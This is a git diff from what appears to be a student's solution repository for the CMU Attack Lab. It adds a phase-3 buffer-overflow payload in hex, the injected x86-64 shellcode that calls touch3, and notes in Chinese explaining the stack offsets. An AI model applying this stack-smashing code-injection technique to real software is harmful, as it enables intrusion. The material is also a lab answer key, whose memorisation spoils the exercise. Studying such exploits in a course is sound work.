diff options
| -rw-r--r-- | attack/ans/3.txt | 1 | ||||
| -rw-r--r-- | attack/solution.md | 45 | ||||
| -rw-r--r-- | attack/tool/3.s | 4 |
3 files changed, 32 insertions, 18 deletions
diff --git a/attack/ans/3.txt b/attack/ans/3.txt new file mode 100644 index 0000000..75ad34b --- /dev/null +++ b/attack/ans/3.txt @@ -0,0 +1 @@ +11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 b1 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 68 fa 18 40 00 48 c7 c7 a8 dc 61 55 c3 diff --git a/attack/solution.md b/attack/solution.md index bd499ad..720db47 100644 --- a/attack/solution.md +++ b/attack/solution.md @@ -19,14 +19,7 @@ NB. 小段序，所以返回地址要倒着写 ie. `c0 17 40 00 00 00 00 00` ```bash -➜ attack git:(main) ✗ ./hex2raw < ans/1.txt | ./ctarget -q -Cookie: 0x59b997fa -Type string:Touch1!: You called touch1() -Valid solution for level 1 with target ctarget -PASS: Would have posted the following: - user id bovik - course 15213-f15 - lab attacklab +./hex2raw < ans/1.txt | ./ctarget -q ``` @@ -62,15 +55,31 @@ PASS: Would have posted the following: gdb可以发现，在getbuf返回之前`$rsp : 0x000000005561dca0` -自己程序的开头就是`0x000000005561dca8` +自己程序的开头就是 rsp+8 = `0x000000005561dca8` -```bash -➜ attack git:(main) ✗ ./hex2raw < ans/2.txt | ./ctarget -q -Cookie: 0x59b997fa -Type string:Touch2!: You called touch2(0x59b997fa) -Valid solution for level 2 with target ctarget -PASS: Would have posted the following: - user id bovik - course 15213-f15 - lab attacklab + + +## Phase 3 + +```asm +00000000004018fa <touch3>: ... +``` + +```asm +0000000000000000 <.text>: + 0: 68 fa 18 40 00 push $0x4018fa + 5: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi + c: c3 ret ``` + +string形式的cookie `35 39 62 39 39 37 66 61 00` 长度是9 + +所以string的位置就是rsp+8，因为跳过了返回地址 + +代码起始位置 rsp+8+9，还跳过了string + +ie. `0x5561DCB1` = little endian `b1 dc 61 55 00 00 00 00` + +需要输入的字符 (40 bytes random) (ret addr) (string cookie) (code) + +... (b1 dc 61 55 00 00 00 00) (35 39 62 39 39 37 66 61 00) (68 fa 18 40 00 48 c7 c7 a8 dc 61 55 c3) diff --git a/attack/tool/3.s b/attack/tool/3.s new file mode 100644 index 0000000..4ad694e --- /dev/null +++ b/attack/tool/3.s @@ -0,0 +1,4 @@ +# modify %rdi and get into touch3() +pushq $0x00000000004018fa # touch3 +movq $0x000000005561dca8, %rdi +ret |